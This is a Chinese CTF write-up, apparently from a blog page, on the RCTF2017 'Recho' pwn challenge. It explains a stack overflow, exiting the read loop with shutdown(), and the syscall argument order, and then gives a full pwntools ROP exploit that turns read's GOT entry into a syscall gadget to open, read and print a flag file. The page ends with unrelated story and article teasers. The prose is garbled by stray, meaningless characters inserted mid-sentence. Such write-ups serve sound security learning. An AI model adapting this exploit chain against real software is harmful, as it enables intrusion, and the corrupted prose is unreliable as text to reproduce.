RCTF2017之Recho

這道題到比賽結(jié)束時還是一臉懵逼,看了writeup才知道其實(shí)自己的思路已經(jīng)接近了悠砚,不過還是有一些需要注意的點(diǎn)晓勇。
看一下主程序吧:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  Init(*(_QWORD *)&argc, argv, envp);
  write(1, "Welcome to Recho server!\n", 0x19uLL);
  while ( read(0, &nptr, 0x10uLL) > 0 )
  {
    v7 = atoi(&nptr);
    if ( v7 <= 15 )
      v7 = 16;
    v6 = read(0, buf, v7);
    buf[v6] = 0;
    printf("%s", buf);
  }
  return 0;
}

很明顯的棧溢出,但是有一個問題灌旧,這兒有一個死循環(huán):在不斷開連接的情況下read的返回值始終大于0(當(dāng)然绑咱,如果我們可以控制read的長度為一個比較大的值,比如0x2000枢泰,這個時候再傳入比較多的字符串描融,返回結(jié)果就可能為-1)

在當(dāng)前情況下,唯一退出死循環(huán)的方法就只有關(guān)閉socket的讀通道(對應(yīng)的衡蚂,在我們這端為寫通道)窿克。比賽的時候就只知道close這么個函數(shù),而一旦調(diào)用close毛甲,就沒有辦法再輸出數(shù)據(jù)了年叮。今天的看了writeup,發(fā)現(xiàn)還可以調(diào)用shutdown函數(shù)來單獨(dú)關(guān)閉讀或?qū)懖D迹幸馑肌?/p>

知道了思路后就是調(diào)試了只损,但如果調(diào)用shutdown函數(shù)來退出循環(huán),連接很快就會斷掉补箍,進(jìn)一步進(jìn)程就會被殺死改执,這對我們的調(diào)試是一個很大的障礙。解決辦法也比較簡單坑雅, patch掉產(chǎn)生循環(huán)的指令辈挂,把ROP調(diào)試成功后再去測試shutdown退出循環(huán)。

另外一個知識點(diǎn)是int 80裹粤,syscenter终蒂,syscall這幾種方式的傳參方法。int 80和syscenter采用的同樣的傳參順序:eax遥诉,ebx拇泣,ecx,edx矮锈。但是syscall的傳參順序居然變成了rdi霉翔,rsi,rdx苞笨,r10债朵,r9子眶,r8。之前一直認(rèn)為這三種方式采用的是同樣的傳參方式序芦。

好吧臭杰,問題基本就這些。下面是完整的利用腳本

#!/usr/bin/env python
# coding=utf-8

from pwn import *
import time
from socket import *

local = 0
debug = 0
slog = 0

context.log_level= "DEBUG"
context.arch = 'amd64'

def pwn():
    p = remote('127.0.0.1', 4444)
    elf = ELF('./Recho')

    time.sleep(0.5)

    #gdb.attach(pidof('recho')[0], open('debug'))
    p.recvuntil('server!')
    p.sendline('1000')

    time.sleep(0.5)

    '''
    recho
    0x4006fc : pop rax ; ret
    0x4008a3 : pop rdi ; ret
    0x4006fe : pop rdx ; ret
    0x4008a1 : pop rsi ; pop r15 ; ret
    0x40070c : xchg eax, ebx ; add byte ptr [rdi], al ; ret
    '''

    pop_rax = 0x4006fc 
    pop_rdi = 0x4008a3 
    pop_rdx = 0x4006fe 
    pop_rsi_r15 = 0x4008a1 
    xchg_add_rdi_eax = 0x40070c
   
    bss_addr = 0x601000 + 0x100
    payload  = 'a'*0x38 # padding
   
    # change read to syscall
    payload += p64(pop_rax) + p64(0xe)
    payload += p64(pop_rdi) + p64(elf.got['read']) 
    payload += p64(xchg_add_rdi_eax)
    payload += p64(xchg_add_rdi_eax)
   
    # fd = open('flag')
    payload += p64(pop_rax) + p64(int(constants.SYS_open))
    payload += p64(pop_rdi) + p64(elf.symbols['flag']) 
    payload += p64(pop_rsi_r15) + p64(0) + p64(0xdeadbeef)
    payload += p64(pop_rdx) + p64(0) + p64(elf.plt['read'])

    # read(fd, bss_addr, 100)
    payload += p64(pop_rax) + p64(int(constants.SYS_read))
    payload += p64(pop_rdi) + p64(5)  # in my system kali 2.0, fd is 5 
                                      # in remote machine, it may not be this
                                      # but won't be very large
    payload += p64(pop_rsi_r15) + p64(bss_addr) + p64(0xdeadbeef)
    payload += p64(pop_rdx) + p64(20)+ p64(elf.plt['read'])

    # write(fd, bss_addr, 100)
    payload += p64(pop_rax) + p64(int(constants.SYS_write))
    payload += p64(pop_rdi) + p64(1)
    payload += p64(pop_rsi_r15) + p64(bss_addr) + p64(0xdeadbeef)
    payload += p64(pop_rdx) + p64(20)+ p64(elf.plt['read'])
    p.sendline(payload)

    p.shutdown("write")
    p.interactive()

if __name__ == "__main__":
    pwn()
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末谚中,一起剝皮案震驚了整個濱河市渴杆,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌宪塔,老刑警劉巖磁奖,帶你破解...
    沈念sama閱讀 222,946評論 6 518
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異某筐,居然都是意外死亡点寥,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 95,336評論 3 399
  • 文/潘曉璐 我一進(jìn)店門来吩,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人蔽莱,你說我怎么就攤上這事弟疆。” “怎么了盗冷?”我有些...
    開封第一講書人閱讀 169,716評論 0 364
  • 文/不壞的土叔 我叫張陵怠苔,是天一觀的道長。 經(jīng)常有香客問我仪糖,道長柑司,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 60,222評論 1 300
  • 正文 為了忘掉前任锅劝,我火速辦了婚禮攒驰,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘故爵。我一直安慰自己玻粪,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 69,223評論 6 398
  • 文/花漫 我一把揭開白布诬垂。 她就那樣靜靜地躺著劲室,像睡著了一般。 火紅的嫁衣襯著肌膚如雪结窘。 梳的紋絲不亂的頭發(fā)上很洋,一...
    開封第一講書人閱讀 52,807評論 1 314
  • 那天,我揣著相機(jī)與錄音隧枫,去河邊找鬼喉磁。 笑死谓苟,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的线定。 我是一名探鬼主播娜谊,決...
    沈念sama閱讀 41,235評論 3 424
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼斤讥!你這毒婦竟也來了纱皆?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 40,189評論 0 277
  • 序言:老撾萬榮一對情侶失蹤芭商,失蹤者是張志新(化名)和其女友劉穎派草,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體铛楣,經(jīng)...
    沈念sama閱讀 46,712評論 1 320
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡近迁,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,775評論 3 343
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了簸州。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片鉴竭。...
    茶點(diǎn)故事閱讀 40,926評論 1 353
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖岸浑,靈堂內(nèi)的尸體忽然破棺而出搏存,到底是詐尸還是另有隱情,我是刑警寧澤矢洲,帶...
    沈念sama閱讀 36,580評論 5 351
  • 正文 年R本政府宣布璧眠,位于F島的核電站,受9級特大地震影響读虏,放射性物質(zhì)發(fā)生泄漏责静。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,259評論 3 336
  • 文/蒙蒙 一盖桥、第九天 我趴在偏房一處隱蔽的房頂上張望灾螃。 院中可真熱鬧,春花似錦葱轩、人聲如沸睦焕。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,750評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽垃喊。三九已至,卻和暖如春袜炕,著一層夾襖步出監(jiān)牢的瞬間本谜,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,867評論 1 274
  • 我被黑心中介騙來泰國打工偎窘, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留乌助,地道東北人溜在。 一個月前我還...
    沈念sama閱讀 49,368評論 3 379
  • 正文 我出身青樓,卻偏偏與公主長得像他托,于是被迫代替她去往敵國和親掖肋。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,930評論 2 361

推薦閱讀更多精彩內(nèi)容

  • 1. Java基礎(chǔ)部分 基礎(chǔ)部分的順序:基本語法赏参,類相關(guān)的語法志笼,內(nèi)部類的語法,繼承相關(guān)的語法把篓,異常的語法纫溃,線程的語...
    子非魚_t_閱讀 31,668評論 18 399
  • //Clojure入門教程: Clojure – Functional Programming for the J...
    葡萄喃喃囈語閱讀 3,688評論 0 7
  • 轉(zhuǎn)至元數(shù)據(jù)結(jié)尾創(chuàng)建: 董瀟偉,最新修改于: 十二月 23, 2016 轉(zhuǎn)至元數(shù)據(jù)起始第一章:isa和Class一....
    40c0490e5268閱讀 1,734評論 0 9
  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理韧掩,服務(wù)發(fā)現(xiàn)紊浩,斷路器,智...
    卡卡羅2017閱讀 134,719評論 18 139
  • 記得剛上高中那會疗锐,班里有個姑娘喜歡韓庚坊谁,那時候小鮮肉老臘肉并不像如今那么隨處可見,可能就他小小的一個就能支撐一個女...
    如果我愛全世界閱讀 248評論 0 0